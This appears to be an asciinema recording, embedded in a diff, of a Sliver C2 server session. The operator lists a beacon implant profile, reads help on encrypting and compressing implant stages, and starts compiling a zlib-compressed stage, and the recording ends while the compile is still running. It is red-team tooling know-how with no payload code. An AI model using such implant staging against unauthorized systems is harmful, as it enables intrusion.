[30.856775, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[30.86476, "o", "exi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[30.864993, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[12D\u001b[9C\u001b[107D\u001b[12C\u001b[?25h"]
[31.035261, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[31.04693, "o", "\u001b[1m\u001b[32mexit\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
[31.047674, "o", "\u001b[1A\u001b[13D\u001b[9C\u001b[107D\u001b[13C\u001b[?25h"]
[31.527869, "o", "\u001b[13D\u001b[9C\u001b[6n"]
[31.5304, "o", "\u001b[107D\u001b[13C\u001b[0J\u001b[107D\r\r\n"]
[31.531474, "o", "\u001b[0 q\r\n"]
[31.540564, "o", "Exiting...\r\n"]
[31.556719, "o", "\u001b[?2004hroot@98df0494f659:~# "]
[31.924303, "o", "e"]
[32.172526, "o", "x"]
[32.398663, "o", "i"]
[32.53265, "o", "t"]
[33.211504, "o", "\r\n"]
[33.213445, "o", "\u001b[?2004l\rexit\r\n"]
@@ -0,0 +1,788 @@
{"version": 2, "width": 214, "height": 52, "timestamp": 1714674882, "env": {"SHELL": "/bin/bash", "TERM": "screen"}}
[0.141527, "o", "\u001b[?2004h"]
[0.150452, "o", "root@98df0494f659:~# "]
[0.821313, "o", "."]
[0.874166, "o", "/"]
[1.057214, "o", "s"]
[1.175243, "o", "l"]
[1.271121, "o", "i"]
[1.38579, "o", "v"]
[1.509307, "o", "e"]
[1.599597, "o", "r"]
[1.694155, "o", "-"]
[1.857931, "o", "s"]
[1.883648, "o", "e"]
[1.935441, "o", "r"]
[2.187186, "o", "v"]
[2.361525, "o", "e"]
[2.442158, "o", "r"]
[2.534032, "o", "\r\n\u001b[?2004l\r"]
[3.877761, "o", "\u001b[31m\r\r\n \t ██████ ██▓ ██▓ ██▒ █▓▓█████ ██▀███\r\r\n\t▒██ ▒ ▓██▒ ▓██▒▓██░ █▒▓█ ▀ ▓██ ▒ ██▒\r\r\n\t░ ▓██▄ ▒██░ ▒██▒ ▓██ █▒░▒███ ▓██ ░▄█ ▒\r\r\n\t ▒ ██▒▒██░ ░██░ ▒██ █░░▒▓█ ▄ ▒██▀▀█▄\r\r\n\t▒██████▒▒░██████▒░██░ ▒▀█░ ░▒████▒░██▓ ▒██▒\r\r\n\t▒ ▒▓▒ ▒ ░░ ▒░▓ ░░▓ ░ ▐░ ░░ ▒░ ░░ ▒▓ ░▒▓░\r\r\n\t░ ░▒ ░ ░░ ░ ▒ ░ ▒ ░ ░ ░░ ░ ░ ░ ░▒ ░ ▒░\r\r\n\t░ ░ ░ ░ ░ ▒ ░ ░░ ░ ░░ ░\r\r\n\t\t ░ ░ ░ ░ ░ ░ ░ ░\r\r\n\u001b[0m\r\nAll hackers gain miracle\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.39 - 331faeb8ef9a1eb2d385d458a544014c6724f71f\r\r\n\u001b[1m\u001b[36m[*] \u001b"]
[3.878321, "o", "[0mWelcome to the sliver shell, please type 'help' for options\r\r\n"]
[3.881417, "o", "\r\n"]
[3.910333, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[3.912179, "o", "\u001b[1 q"]
[3.914283, "o", "\u001b[?25l"]
[3.914941, "o", "\u001b[214D"]
[3.91531, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[3.918263, "o", "\u001b[0m\u001b[0K\u001b[49m"]
[3.918563, "o", "\r\r\n"]
[3.919435, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[9D\u001b[9C\u001b[214D\u001b[9C\u001b[?25h"]
[5.073098, "o", "\u001b[?25l\u001b[214D"]
[5.078434, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[5.089176, "o", "p\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[10D\u001b[9C\u001b[214D\u001b[10C\u001b[?25h"]
[5.177503, "o", "\u001b[?25l\u001b[214D"]
[5.180064, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[5.184517, "o", "pr\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[11D\u001b[9C\u001b[214D\u001b[11C\u001b[?25h"]
[5.288231, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[5.298034, "o", "pro\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[12D\u001b[9C\u001b[214D\u001b[12C\u001b[?25h"]
[5.397933, "o", "\u001b[?25l"]
[5.409413, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[5.419532, "o", "prof\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[13D\u001b[9C\u001b[214D\u001b[13C\u001b[?25h"]
[5.489024, "o", "\u001b[?25l\u001b[214D"]
[5.489253, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[5.492109, "o", "profi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[14D\u001b[9C\u001b[214D\u001b[14C\u001b[?25h"]
[5.550034, "o", "\u001b[?25l\u001b[214D"]
[5.550644, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[5.554876, "o", "profil\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[5.555348, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[15D\u001b[9C\u001b[214D\u001b[15C\u001b[?25h"]
[5.634582, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[5.63904, "o", "profile\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[5.639797, "o", "\u001b[214D\u001b[1A\u001b[16D\u001b[9C\u001b[214D\u001b[16C\u001b[?25h"]
[5.672997, "o", "\u001b[?25l"]
[5.674048, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[5.676912, "o", "\u001b[1m\u001b[32mprofiles\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m"]
[5.677839, "o", "\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[17D\u001b[9C\u001b[214D\u001b[17C\u001b[?25h"]
[6.028625, "o", "\u001b[17D\u001b[9C\u001b[6n"]
[6.031804, "o", "\u001b[214D\u001b[17C\u001b[0J\u001b[214D\r\r\n"]
[6.035446, "o", "\u001b[0 q\r\n"]
[6.080003, "o", " Profile Name Implant Type Platform Command & Control Debug Format Obfuscation Limitations C2 Profile \r\n=============== ============== ============= ======================= ======= ============ ============= ============= ============\r\n rubyc2profile beacon linux/amd64 [1] https://localhost true EXECUTABLE disabled ruby \r\n"]
[6.081043, "o", "\r\n"]
[6.091251, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[6.091854, "o", "\u001b[1 q\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[6.093821, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[6.094635, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[9D\u001b[9C\u001b[214D\u001b[9C\u001b[?25h"]
[6.548869, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[6.563285, "o", "p\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[10D\u001b[9C\u001b[214D\u001b[10C\u001b[?25h"]
[6.624869, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[6.626342, "o", "\u001b[6n"]
[6.630476, "o", "pr\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[6.631001, "o", "\u001b[214D\u001b[1A\u001b[11D\u001b[9C\u001b[214D\u001b[11C\u001b[?25h"]
[6.720432, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[6.724932, "o", "pro\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[6.725222, "o", "\u001b[214D\u001b[1A\u001b[12D\u001b[9C\u001b[214D\u001b[12C\u001b[?25h"]
[6.865965, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[6.867793, "o", "\u001b[6n"]
[6.871524, "o", "prof\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[6.873212, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[13D\u001b[9C\u001b[214D\u001b[13C\u001b[?25h"]
[6.947443, "o", "\u001b[?25l\u001b[214D"]
[6.949298, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[6.952834, "o", "profi\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[6.953139, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[14D\u001b[9C\u001b[214D\u001b[14C\u001b[?25h"]
[7.016834, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[7.021422, "o", "profil\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D"]
[7.022957, "o", "\u001b[1A\u001b[15D\u001b[9C\u001b[214D\u001b[15C\u001b[?25h"]
[7.04583, "o", "\u001b[?25l"]
[7.047008, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[7.050574, "o", "profile\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[16D\u001b[9C\u001b[214D\u001b[16C\u001b[?25h"]
[7.104552, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[7.105269, "o", "\u001b[6n"]
[7.107419, "o", "\u001b[1m\u001b[32mprofiles\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[7.107546, "o", "\u001b[214D\u001b[1A\u001b[17D\u001b[9C\u001b[214D\u001b[17C\u001b[?25h"]
[7.402988, "o", "\u001b[?25l"]
[7.40837, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[7.417907, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[7.419024, "o", "\u001b[214D\u001b[1A\u001b[18D\u001b[9C\u001b[214D\u001b[18C\u001b[?25h"]
[7.691268, "o", "\u001b[?25l"]
[7.69341, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[7.699425, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22ms\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[7.701939, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[19D\u001b[9C\u001b[214D\u001b[19C\u001b[?25h"]
[7.748585, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[7.749144, "o", "\u001b[6n"]
[7.751257, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mst\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[7.751983, "o", "\u001b[214D\u001b[1A\u001b[20D\u001b[9C\u001b[214D\u001b[20C\u001b[?25h"]
[7.927016, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[7.939609, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22msta\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[21D\u001b[9C"]
[7.941154, "o", "\u001b[214D\u001b[21C\u001b[?25h"]
[8.078519, "o", "\u001b[?25l"]
[8.081521, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[8.090193, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstag\u001b[0m\u001b[0K\u001b[49m"]
[8.092062, "o", "\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[22D\u001b[9C\u001b[214D\u001b[22C\u001b[?25h"]
[8.128257, "o", "\u001b[?25l\u001b[214D"]
[8.1305, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[8.13586, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[8.137217, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[23D\u001b[9C\u001b[214D\u001b[23C\u001b[?25h"]
[8.226354, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[8.230511, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D"]
[8.230643, "o", "\u001b[1A\u001b[24D\u001b[9C\u001b[214D\u001b[24C\u001b[?25h"]
[8.581286, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[8.589781, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[8.591277, "o", "\u001b[214D\u001b[1A\u001b[25D\u001b[9C\u001b[214D\u001b[25C\u001b[?25h"]
[8.845512, "o", "\u001b[?25l"]
[8.850584, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[8.86043, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-h\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[8.861929, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[26D\u001b[9C\u001b[214D\u001b[26C\u001b[?25h"]
[9.135602, "o", "\u001b[26D\u001b[9C\u001b[6n"]
[9.14604, "o", "\u001b[214D\u001b[26C\u001b[0J\u001b[214D\r\r\n"]
[9.147513, "o", "\u001b[0 q\r\n"]
[9.163342, "o", "\u001b[1mCommand:\u001b[0m stage [name] <options>\r\n\t\u001b[1mAbout:\u001b[0m Generate and encrypt or encode an implant from a saved profile (see 'profiles stage --help').\r\n\r\n"]
[9.175319, "o", "Usage:\r\n profiles stage [flags]\r\n\r\nFlags:\r\n -i, --aes-encrypt-iv string AES Encryption IV\r\n -k, --aes-encrypt-key string AES Encryption Key\r\n -c, --compress string Compress stage (zlib, gzip, deflate9 or deflate)\r\n -h, --help help for stage\r\n -n, --name string Implant name\r\n -p, --prepend-size Prepend stage size\r\n -r, --rc4-encrypt-key string RC4 encryption key\r\n -s, --save string directory/file to the binary to\r\n\r\nGlobal Flags:\r\n -t, --timeout int grpc timeout in seconds (default 60)\r\n"]
[9.178545, "o", "\r\n"]
[9.191743, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[9.192339, "o", "\u001b[1 q\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[9.194427, "o", "\u001b[6n"]
[9.196681, "o", "\u001b[0m\u001b[0K\u001b[49m"]
[9.197404, "o", "\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[9D\u001b[9C\u001b[214D\u001b[9C\u001b[?25h"]
[9.744219, "o", "\u001b[?25l"]
[9.750337, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[9.757572, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-h\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[9.758758, "o", "\u001b[214D\u001b[1A\u001b[26D\u001b[9C\u001b[214D\u001b[26C\u001b[?25h"]
[10.270204, "o", "\u001b[?25l"]
[10.271861, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[10.278797, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[10.279594, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[25D\u001b[9C\u001b[214D\u001b[25C\u001b[?25h"]
[10.662393, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[10.676439, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[24D\u001b[9C\u001b[214D\u001b[24C\u001b[?25h"]
[11.36124, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[11.372065, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[11.3737, "o", "\u001b[214D\u001b[1A\u001b[25D\u001b[9C\u001b[214D\u001b[25C\u001b[?25h"]
[11.748431, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[11.768073, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-c\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[11.769565, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[26D\u001b[9C\u001b[214D\u001b[26C\u001b[?25h"]
[11.87228, "o", "\u001b[?25l\u001b[214D"]
[11.876708, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[11.882255, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-c \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D"]
[11.883272, "o", "\u001b[1A\u001b[27D\u001b[9C\u001b[214D\u001b[27C\u001b[?25h"]
[12.589667, "o", "\u001b[?25l"]
[12.591899, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[12.597484, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-c \u001b[39m\u001b[22mz\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[12.599147, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[28D\u001b[9C\u001b[214D\u001b[28C\u001b[?25h"]
[12.712235, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[12.723138, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-c \u001b[39m\u001b[22mzl\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[29D\u001b[9C\u001b[214D\u001b[29C\u001b[?25h"]
[12.807141, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[12.808394, "o", "\u001b[6n"]
[12.811193, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-c \u001b[39m\u001b[22mzli\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[12.812156, "o", "\u001b[214D\u001b[1A\u001b[30D\u001b[9C\u001b[214D\u001b[30C\u001b[?25h"]
[12.912585, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[12.915424, "o", "\u001b[6n"]
[12.921074, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-c \u001b[39m\u001b[22mzlib\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[12.922124, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[31D\u001b[9C\u001b[214D\u001b[31C\u001b[?25h"]
[13.067215, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[13.071655, "o", "\u001b[6n"]
[13.07822, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-c \u001b[39m\u001b[22mzlib \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[32D\u001b[9C"]
[13.079424, "o", "\u001b[214D\u001b[32C\u001b[?25h"]
[13.477401, "o", "\u001b[1 q"]
[13.514129, "o", "\u001b[1 q"]
[13.514287, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[13.51665, "o", "\u001b[6n"]
[13.519025, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-c \u001b[39m\u001b[22mzlib rubyc2profile \u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[13.519355, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[46D\u001b[9C\u001b[214D\u001b[46C\u001b[?25h"]
[14.27721, "o", "\u001b[46D\u001b[9C\u001b[6n"]
[14.294504, "o", "\u001b[214D\u001b[46C\u001b[0J\u001b[214D\r\r\n"]
[14.297147, "o", "\u001b[0 q\r\n"]
[14.429556, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[14.530618, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[14.635231, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[14.739895, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[14.840814, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[14.94208, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[15.043267, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[15.14769, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[15.249087, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[15.349774, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[15.450561, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[15.551188, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[15.652064, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[15.756974, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[15.857802, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[15.958113, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[16.058427, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[16.159199, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[16.260288, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[16.361214, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[16.462186, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[16.562509, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[16.665161, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[16.765818, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[16.867133, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[16.967834, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[17.068846, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[17.169742, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[17.269743, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[17.370246, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[17.471269, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[17.572067, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[17.672828, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[17.773239, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[17.876465, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[17.976632, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[18.077616, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[18.178235, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[18.27912, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[18.379433, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[18.480281, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[18.581313, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[18.682065, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[18.782525, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[18.88271, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[18.983072, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[19.084287, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[19.184909, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[19.287115, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[19.387491, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[19.490696, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[19.594053, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[19.694672, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[19.796222, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[19.900206, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[20.00108, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[20.102462, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[20.202889, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[20.303448, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[20.408052, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[20.512542, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[20.61407, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[20.714608, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[20.815173, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[20.915681, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[21.016701, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[21.117327, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[21.217537, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[21.324629, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[21.425546, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[21.526436, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[21.626874, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[21.727917, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[21.828887, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[21.929501, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[22.029909, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[22.131125, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[22.232317, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[22.333144, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[22.434053, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[22.535025, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[22.635631, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[22.736253, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[22.836866, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[22.937344, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[23.038226, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[23.139095, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[23.239351, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[23.340027, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[23.441286, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[23.542779, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[23.643497, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[23.744768, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[23.846014, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[23.94673, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[24.047733, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[24.149092, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[24.251603, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
